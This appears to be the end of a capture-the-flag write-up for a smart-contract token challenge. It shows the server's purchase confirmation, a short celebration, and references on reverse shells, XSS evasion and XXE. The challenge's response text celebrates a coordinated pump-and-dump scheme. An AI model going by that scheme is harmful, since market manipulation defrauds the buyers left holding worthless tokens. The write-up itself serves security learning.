{"Response": "Success! You are now the proud owner of BSRS Token #000337. You can find more information at https://boredsporcrowboatsociety.com/TOKENS/BSRS337, or check it out in the gallery!<br>Transaction: 0xe8b3bb96a7169ff943ca977181a8657817f9fdd3ce9d1fd569c6154276ce19ed, Block: 85186<br><br>Remember: Just like we planned, tell everyone you know to <u><em>BUY A BoredSporc</em></u>.<br>When general sales start, and the humans start buying them up, the prices will skyrocket, and we all sell at once!<br><br>The market will tank, but we'll all be rich!!!"}

Yay!!🙌 I got the BSRS finally!

Even though I was not that familiar with smart contract, I was able to achieve this challenge in less time than I had expected, thanks to a very thorough introduction and simplified tasks.

This is not the purpose of the Challenge, but there was a lot written about the picture of the bar on the Top page of the BSRS website. ...And the thought crossed my mind that this was written by the something trendy AI??

References

  1. Wireshark Filter for SSL Traffic - InsidePacket
  2. CountryCode.org
  3. Virus Total
  4. Wireshark Tutorial: Examining Dridex Infection Traffic - paloaltonetworks
  5. omerbenamram/evtx
  6. Microsoft Powershell Module Reference
  7. Logging Powershell activities - Digital Forensics & Incident Response
  8. Winlogbeat Reference:PowerShell Module - elastic
  9. MS Windows Event Logging XML - PowerShell - LogRhythm
  10. Suricata-6.0.0
  11. Container is running in privileged mode - snyk Learn
  12. Migrating from GitLab CI/CD to GitHub Actions - GitHub Docs
  13. Reverse Shell (リバースシェル) 入門 & 実践 - 好奇心の足跡
  14. XSS SVG - GHOSTLULZ
  15. SVG line - w3schools
  16. onblur Event - w3schools
  17. CSP: script-src - mdn web docs (mozilla.org)
  18. CSP: style-src - mdn web docs (mozilla.org)
  19. The unsafe-inline Source List Keyword - Content Security Policy (CSP) Quick Reference Guide
  20. CSP Inline Styles - - Content Security Policy (CSP) Quick Reference Guide
  21. XSS Filter Evasion Cheat Sheet - OWASP Cheat Sheet Series
  22. XML External Entity (XXE) Processing - OWASP